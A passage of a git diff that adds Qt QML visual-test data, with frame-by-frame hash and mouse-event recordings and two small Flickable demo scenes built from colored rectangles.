"cce4177eb20b7aa43a7383a16c43f473" + } + Frame { + msec: 20032 + hash: "cce4177eb20b7aa43a7383a16c43f473" + } + Frame { + msec: 20048 + hash: "cce4177eb20b7aa43a7383a16c43f473" + } + Frame { + msec: 20064 + hash: "cce4177eb20b7aa43a7383a16c43f473" + } + Frame { + msec: 20080 + hash: "cce4177eb20b7aa43a7383a16c43f473" + } + Frame { + msec: 20096 + hash: "cce4177eb20b7aa43a7383a16c43f473" + } + Frame { + msec: 20112 + hash: "cce4177eb20b7aa43a7383a16c43f473" + } + Frame { + msec: 20128 + hash: "cce4177eb20b7aa43a7383a16c43f473" + } + Frame { + msec: 20144 + hash: "cce4177eb20b7aa43a7383a16c43f473" + } + Frame { + msec: 20160 + image: "flickable-vertical.20.png" + } + Frame { + msec: 20176 + hash: "cce4177eb20b7aa43a7383a16c43f473" + } + Frame { + msec: 20192 + hash: "cce4177eb20b7aa43a7383a16c43f473" + } + Frame { + msec: 20208 + hash: "cce4177eb20b7aa43a7383a16c43f473" + } + Frame { + msec: 20224 + hash: "cce4177eb20b7aa43a7383a16c43f473" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 170; y: 450 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 20240 + hash: "b8e7a053fc023be42ab5136f6e7305fd" + } + Frame { + msec: 20256 + hash: "b8e7a053fc023be42ab5136f6e7305fd" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 170; y: 448 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 20272 + hash: "b8e7a053fc023be42ab5136f6e7305fd" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 172; y: 438 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 20288 + hash: "40cf6e4567c796d6ad83778fb1959d8a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 176; y: 410 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 20304 + hash: "9914584daf02407c1edc3b6a38b8302d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 176; y: 388 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 176; y: 366 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 20320 + hash: "5aff2316a5e34f5e15b7cb36257a3d72" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 176; y: 342 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 176; y: 342 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 20336 + hash: "de1f9ff1abfa8cdc760bc84129fab40d" + } + Frame { + msec: 20352 + hash: "032c4fd62a0a611207262d317d4ea103" + } + Frame { + msec: 20368 + hash: "1db8a7b3899f5efea25ccf93285ee6bd" + } + Frame { + msec: 20384 + hash: "3c106f68b755862346cddd21d75c0caf" + } + Frame { + msec: 20400 + hash: "41d025dfe037b9cebe84e4c7200e9d15" + } + Frame { + msec: 20416 + hash: "f347687313c88150a6f977ae8b1620fc" + } + Frame { + msec: 20432 + hash: "4bb30faaec54e2a47dfd2b2988a6c231" + } + Frame { + msec: 20448 + hash: "fede02600e790d4b6eb1f85563b37cbc" + } + Frame { + msec: 20464 + hash: "0a949f7150b3709b9eda62c98f98fc62" + } + Frame { + msec: 20480 + hash: "214e571c2346b0d6b5d1220e856a8e67" + } + Frame { + msec: 20496 + hash: "f84207d20cfff984d1c79654a1074d02" + } + Frame { + msec: 20512 + hash: "7dc3592294dcd88fbfff2f984fd2d4c3" + } + Frame { + msec: 20528 + hash: "42829e78f62e692a093df267d2b673e2" + } + Frame { + msec: 20544 + hash: "d264570c78e7d1ea283c72191953a2ce" + } + Frame { + msec: 20560 + hash: "b69b045557a8eada80a24eb4caa7ea4e" + } + Frame { + msec: 20576 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20592 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20608 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20624 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20640 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20656 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20672 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20688 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20704 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20720 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20736 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20752 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20768 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20784 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20800 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20816 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20832 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20848 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20864 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20880 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20896 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20912 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20928 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20944 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20960 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20976 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 20992 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21008 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21024 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21040 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21056 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21072 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21088 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21104 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21120 + image: "flickable-vertical.21.png" + } + Frame { + msec: 21136 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21152 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21168 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21184 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21200 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21216 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21232 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21248 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21264 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21280 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21296 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21312 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21328 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21344 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21360 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21376 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21392 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21408 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21424 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21440 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21456 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21472 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21488 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21504 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21520 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21536 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21552 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21568 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 21584 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 197; y: 124 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 197; y: 132 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 21600 + hash: "06472b42bc00fcaf7f84cd4ac613bbd2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 197; y: 146 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 197; y: 164 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 21616 + hash: "463fce69afc3dec181425c9adaa3e77c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 197; y: 190 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 195; y: 218 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 21632 + hash: "9af34ff618e277eafad32e0377ecc94b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 187; y: 250 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 21648 + hash: "db4b2333630ccc4a7982361609a12837" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 183; y: 284 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 183; y: 284 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 21664 + hash: "50335b19a1e210f87924d01bb343a0e0" + } + Frame { + msec: 21680 + hash: "59b4f80a7cd6b732eb26f3b4147efe7e" + } + Frame { + msec: 21696 + hash: "b99cc1f07bcb0480801d4d5403372525" + } + Frame { + msec: 21712 + hash: "871040b0f921646609b79828bab38949" + } + Frame { + msec: 21728 + hash: "2acb3d19eed000313872d5cd66765b53" + } + Frame { + msec: 21744 + hash: "b5431a2d2e856a726ceac2066b128f8f" + } + Frame { + msec: 21760 + hash: "04047c917a95a2a3df30c14bb20601dd" + } + Frame { + msec: 21776 + hash: "fea7ac3d26975f438129e394c667e628" + } + Frame { + msec: 21792 + hash: "4db41ff05865cabc4ef288478254e633" + } + Frame { + msec: 21808 + hash: "e0d3737effd817a8f603eb393677b8b6" + } + Frame { + msec: 21824 + hash: "d4f06941d213544ddcae714ddc0b47e9" + } + Frame { + msec: 21840 + hash: "dbb21caf4a4c9b88563f1d0aad35f3d3" + } + Frame { + msec: 21856 + hash: "eb9a052219c3f955f2c036834990089b" + } + Frame { + msec: 21872 + hash: "40090a35caf674ed9c4bf1d10f9209ea" + } + Frame { + msec: 21888 + hash: "064de0abec66d1ddcf0f6073ce7d91ef" + } + Frame { + msec: 21904 + hash: "f407334d0b63a34657dc1306fd67aeb7" + } + Frame { + msec: 21920 + hash: "1c0744be97c65c68ca92bd86d42c7b0e" + } + Frame { + msec: 21936 + hash: "7469d4a06c5df073e22db3c905baefc1" + } + Frame { + msec: 21952 + hash: "35912a7e2ecc0c387fc9fb9da7201bfd" + } + Frame { + msec: 21968 + hash: "9f835091374f0d0d9a6996e6dad10e19" + } + Frame { + msec: 21984 + hash: "afade1ecbaf5f920880eaff3b3de606e" + } + Frame { + msec: 22000 + hash: "9c70e8a020c8c1101b9884529cb4527f" + } + Frame { + msec: 22016 + hash: "3e7d4dc75f85dfeb065da18ef1c102c1" + } + Frame { + msec: 22032 + hash: "16852d62a77eefccea9497ae1b09842d" + } + Frame { + msec: 22048 + hash: "ea8afda6d837a98f408a7aa133494575" + } + Frame { + msec: 22064 + hash: "666435dccf30c53eb09ea7ad8b5264a1" + } + Frame { + msec: 22080 + image: "flickable-vertical.22.png" + } + Frame { + msec: 22096 + hash: "2e959bf0470bac84e2220d9e8a8bbb97" + } + Frame { + msec: 22112 + hash: "595b6cfd559f8362b010616de4947ec6" + } + Frame { + msec: 22128 + hash: "976dd345cc7cb4e3c09a288530d3c8af" + } + Frame { + msec: 22144 + hash: "9493e425d5cd3f9eef904a1be63f45f1" + } + Frame { + msec: 22160 + hash: "0a2013afebb5e09d82633c8d8a393f01" + } + Frame { + msec: 22176 + hash: "d8377c464bc59d95e0670d697888d804" + } + Frame { + msec: 22192 + hash: "52f9416973da953bd6fe55b2fe22786a" + } + Frame { + msec: 22208 + hash: "23b9af0f371b7817e9ceaa1a83995d35" + } + Frame { + msec: 22224 + hash: "34b0e0333c91bc4533e0c01eaeb3d3f9" + } + Frame { + msec: 22240 + hash: "1597b86afe2841c3bb77bb5dd6aa6803" + } + Frame { + msec: 22256 + hash: "d74111814ff259fea47e1eb3b36e174b" + } + Frame { + msec: 22272 + hash: "c64c46fe9cd75afbf2385241ea8e55d4" + } + Frame { + msec: 22288 + hash: "1e8740a104643fe30b0e874bbbed44ab" + } + Frame { + msec: 22304 + hash: "ef669a8d142947463084383a6c7c7f85" + } + Frame { + msec: 22320 + hash: "2314c42b5994bdbfd73eb2c3ea54626b" + } + Frame { + msec: 22336 + hash: "53a0694d8eee91b968bd43efe43f2c9e" + } + Frame { + msec: 22352 + hash: "be4772528f30c18193e49ae04a290af8" + } + Frame { + msec: 22368 + hash: "a0b0877ab92a0323e35fdb7beb602dee" + } + Frame { + msec: 22384 + hash: "a0e299fb4ba811a0b22fb62c222cb86c" + } + Frame { + msec: 22400 + hash: "2562bc9c9aa60a48b6ca00333f60d163" + } + Frame { + msec: 22416 + hash: "486b45c385d88d6f054fa6308b55f2ac" + } + Frame { + msec: 22432 + hash: "86502af668ed6336dce8fe329e3408a6" + } + Frame { + msec: 22448 + hash: "2a79a6530a07f00810310117d00d28ed" + } + Frame { + msec: 22464 + hash: "94a5fce3e0c3b219e0d807bfcade11e8" + } + Frame { + msec: 22480 + hash: "94a5fce3e0c3b219e0d807bfcade11e8" + } + Frame { + msec: 22496 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22512 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22528 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22544 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22560 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22576 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22592 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22608 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22624 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22640 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22656 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22672 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22688 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22704 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22720 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22736 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22752 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22768 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22784 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22800 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22816 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22832 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22848 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22864 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22880 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22896 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22912 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22928 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22944 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22960 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22976 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 22992 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23008 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23024 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23040 + image: "flickable-vertical.23.png" + } + Frame { + msec: 23056 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23072 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23088 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23104 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23120 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23136 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23152 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23168 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23184 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23200 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23216 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23232 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23248 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 23264 + hash: "8443c45791c906a9fe23831844f48a1c diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-horizontal.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-horizontal.qml new file mode 100644 index 0000000..50ba9ad --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-horizontal.qml @@ -0,0 +1,37 @@ +import Qt 4.6 + +Rectangle { + color: "lightSteelBlue" + width: 600; height: 300 + + ListModel { + id: list + ListElement { dayColor: "steelblue" } + ListElement { dayColor: "blue" } + ListElement { dayColor: "yellow" } + ListElement { dayColor: "purple" } + ListElement { dayColor: "red" } + ListElement { dayColor: "green" } + ListElement { dayColor: "orange" } + } + + Flickable { + id: flickable + anchors.fill: parent; contentWidth: row.width + + Row { + id: row + Repeater { + model: list + Rectangle { width: 200; height: 300; color: dayColor } + } + } + } + Rectangle { + radius: 3 + y: flickable.height-8 + height: 8 + x: flickable.visibleArea.xPosition * flickable.width + width: flickable.visibleArea.widthRatio * flickable.width + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-vertical.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-vertical.qml new file mode 100644 index 0000000..ebb963d --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-vertical.qml @@ -0,0 +1,91 @@ +import Qt 4.6 + +Rectangle { + color: "lightSteelBlue" + width: 300; height: 600 + + ListModel { + id: list + ListElement { dayColor: "steelblue" } + ListElement { dayColor: "blue" } + ListElement { dayColor: "yellow" } + ListElement { dayColor: "purple" } + ListElement { dayColor: "red" } + ListElement { dayColor: "green" } + ListElement { dayColor: "orange" } + } + + flickable { + id: flick + height: parent.height-50 + width: parent.width; contentHeight: column.height + + Column { + id: column + Repeater { + model: list + Rectangle { width: 300; height: 200; color: mr.pressed ? "black" : dayColor + MouseArea { + id: mr + anchors.fill: parent + } + } + } + } + clip: true + reportedVelocitySmoothing: 1000 + } + Rectangle { + radius: 3 + x: flick.width-8 + width: 8 + y: flick.visibleArea.yPosition * flick.height + height: flick.visibleArea.heightRatio * flick.height + } + + // click to toggle interactive flag + Rectangle { + width: 64 + height: 48 + y: parent.height - 50 + color: "red" + MouseArea { + anchors.fill: parent + onClicked: flick.interactive = flick.interactive ? false : true + } + } + + // click to toggle click delay + Rectangle { + width: 64 + height: 48 + x: 66 + y: parent.height - 50 + color: "green" + MouseArea { + anchors.fill: parent + onClicked: flick.pressDelay = flick.pressDelay > 0 ? 0 : 500 + } + } + + // click to toggle overshoot + Rectangle { + width: 64 + height: 48 + x: 130 + y: parent.height - 50 + color: "yellow" + MouseArea { + anchors.fill: parent + onClicked: flick.overShoot = flick.overShoot > 0 ? 0 : 30 + } + } + + Rectangle { + width: Math.abs(flick.verticalVelocity)/100 + height: 50 + x: 200 + y: parent.height - 50 + color: blue + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.0.png new file mode 100644 index 0000000..53a8b42 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.1.png new file mode 100644 index 0000000..b7efe8c Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.2.png new file mode 100644 index 0000000..aa6d147 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.3.png new file mode 100644 index 0000000..9d39713 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.4.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.4.png new file mode 100644 index 0000000..98e8817 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.5.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.5.png new file mode 100644 index 0000000..a3f9d8f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.qml new file mode 100644 index 0000000..520d9a2 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test-flipable.qml @@ -0,0 +1,1623 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "7e16e6360fc2e9db67dbf11d58042745" + } + Frame { + msec: 32 + hash: "7e16e6360fc2e9db67dbf11d58042745" + } + Frame { + msec: 48 + hash: "7e16e6360fc2e9db67dbf11d58042745" + } + Frame { + msec: 64 + hash: "06d7f0befa7e06972983ffe87c162750" + } + Frame { + msec: 80 + hash: "51dff66a7767e3464fda60f2cf906700" + } + Frame { + msec: 96 + hash: "f8038dc4b67b92ef776a97589240e8c5" + } + Frame { + msec: 112 + hash: "692931f1db6ddf0b37eb64026ca830f8" + } + Frame { + msec: 128 + hash: "f01b7368e42381dda5eadf56482ea993" + } + Frame { + msec: 144 + hash: "9811f823e057882d384f36d7227fa12e" + } + Frame { + msec: 160 + hash: "9b40b6c75af876567ff49688bc710f2a" + } + Frame { + msec: 176 + hash: "e97a5d968da37789c28816608fa262a1" + } + Frame { + msec: 192 + hash: "2cd0627fdc63bb91f8dcac789d7a93b2" + } + Frame { + msec: 208 + hash: "ae2407f8da9a047d2725bcdcf8e568b2" + } + Frame { + msec: 224 + hash: "da2a1e5e988c27577ceb453cb0383703" + } + Frame { + msec: 240 + hash: "90fb4e4ba04ac32b52c10b3258431c04" + } + Frame { + msec: 256 + hash: "90fb4e4ba04ac32b52c10b3258431c04" + } + Frame { + msec: 272 + hash: "90fb4e4ba04ac32b52c10b3258431c04" + } + Frame { + msec: 288 + hash: "73c06997014af4e008b546b53fe349fb" + } + Frame { + msec: 304 + hash: "262404c6e55b93c4ab940582a49f7e18" + } + Frame { + msec: 320 + hash: "451a9408b04826ab35749d9120efd6bb" + } + Frame { + msec: 336 + hash: "451a9408b04826ab35749d9120efd6bb" + } + Frame { + msec: 352 + hash: "2d112d040fd425c59b511066737e494d" + } + Frame { + msec: 368 + hash: "769d2724656dbf0e793ecd8e42db3de2" + } + Frame { + msec: 384 + hash: "9e375cb3815723a2c5dda39c79325e96" + } + Frame { + msec: 400 + hash: "b21e92871bf63873b8ae48a2aff47be5" + } + Frame { + msec: 416 + hash: "00d08f4257f35c6236cde0597b0005e4" + } + Frame { + msec: 432 + hash: "8048f84221a02e7102cf3272445862a1" + } + Frame { + msec: 448 + hash: "f0d7b45f0b01319494616c1893aa940e" + } + Frame { + msec: 464 + hash: "457fad89140a1dda9e70549d451482e9" + } + Frame { + msec: 480 + hash: "ee0feb79e843cdb2adea72fa37ecab67" + } + Frame { + msec: 496 + hash: "ece02d3590147884e697dd5228dee8c4" + } + Frame { + msec: 512 + hash: "91c4ec19716a0883c8f5c25b9a0d1f42" + } + Frame { + msec: 528 + hash: "a7c9860dd4962b11b92c54370ba156ee" + } + Frame { + msec: 544 + hash: "a28f2590be1e8cde4cde5219367015ac" + } + Frame { + msec: 560 + hash: "3b641ba58f5e1f0e1f2f528acf38cb28" + } + Frame { + msec: 576 + hash: "d0b0969ad165d4784f763683de42278e" + } + Frame { + msec: 592 + hash: "93968dffda327a101e2bd07b80fff842" + } + Frame { + msec: 608 + hash: "08f5db4cd7f27178c67e6d973e4bb023" + } + Frame { + msec: 624 + hash: "0967cad0a3ae82307a049944e1bcdc3e" + } + Frame { + msec: 640 + hash: "d70ffd02b434e607bc11a95ca536c19a" + } + Frame { + msec: 656 + hash: "cd561b4d5e707bb6b9f6d493f9b99512" + } + Frame { + msec: 672 + hash: "58355ca37c6e4e54061664180faa11fb" + } + Frame { + msec: 688 + hash: "bd873f48c79286c50333c838e57d8ec7" + } + Frame { + msec: 704 + hash: "db89bc0e04ebefe5440748fe85e0bdf7" + } + Frame { + msec: 720 + hash: "c400bc1e6c02c792cc515a6dd8bbaa9b" + } + Frame { + msec: 736 + hash: "accf3567a161239cd8c18dd9d4527aaf" + } + Frame { + msec: 752 + hash: "2e3bcdf70f160bf8e3f1b77ee472b782" + } + Frame { + msec: 768 + hash: "929da0d629253478c322360c9a8dfc9e" + } + Frame { + msec: 784 + hash: "d5d4b7c52ba14e84bc9c34a8b55f84b7" + } + Frame { + msec: 800 + hash: "063ce927e9e7c5afb9131302ea5a968c" + } + Frame { + msec: 816 + hash: "b94b6fff850aacccdaf0f74d4e36ba67" + } + Frame { + msec: 832 + hash: "bac2b9b9be4b71fafe59868506aa8ab9" + } + Frame { + msec: 848 + hash: "a91fed41a5a07e84424e45477f463aa1" + } + Frame { + msec: 864 + hash: "370eefd369ef366f1d5930b261340d0b" + } + Frame { + msec: 880 + hash: "b04a87997d0eeb6ff2f91fc2f0d016f6" + } + Frame { + msec: 896 + hash: "09c3602a08d6d3e2afb654c328606871" + } + Frame { + msec: 912 + hash: "101e66b9d13b1b0872cfcc497c9d6ae3" + } + Frame { + msec: 928 + hash: "b5eaf952e40cf90ef32e8cb64ccce7d3" + } + Frame { + msec: 944 + hash: "b43b02133ebe5db93e5236c0307939c3" + } + Frame { + msec: 960 + image: "test-flipable.0.png" + } + Frame { + msec: 976 + hash: "7d1a0ff0eceb80ff64d828c34792a2d5" + } + Frame { + msec: 992 + hash: "a7492d8ab6fddb5c1d7af2621078230b" + } + Frame { + msec: 1008 + hash: "2ed3dc7f10cc8279a6fd926914cdb234" + } + Frame { + msec: 1024 + hash: "e9f76e419f6f682bcc9052183bb50607" + } + Frame { + msec: 1040 + hash: "fdee6990e101d4a628272e7b09a217a3" + } + Frame { + msec: 1056 + hash: "05e028b2f37a433343d373bc05f73756" + } + Frame { + msec: 1072 + hash: "a9ece04666d17979408dcd8690cd697c" + } + Frame { + msec: 1088 + hash: "a5d8c9bee6ac10fb45cedf3bc4325539" + } + Frame { + msec: 1104 + hash: "08f1ff1e515ec78f75efa13a39b21f56" + } + Frame { + msec: 1120 + hash: "f0bc6c649a195e2c433cf84c1b4f5bcb" + } + Frame { + msec: 1136 + hash: "2a548614a9b38867cd0fe44985ca443f" + } + Frame { + msec: 1152 + hash: "8c8272fc028ce5b403e636b4061351d3" + } + Frame { + msec: 1168 + hash: "df11678b255cc3f624fed24d7e6a24af" + } + Frame { + msec: 1184 + hash: "7dd5ce1cce200d7eede0f248f150873c" + } + Frame { + msec: 1200 + hash: "e5cb8e0e588854dce5e7572fd1e3a445" + } + Frame { + msec: 1216 + hash: "71937cd7d319174232797d05fe28bda5" + } + Frame { + msec: 1232 + hash: 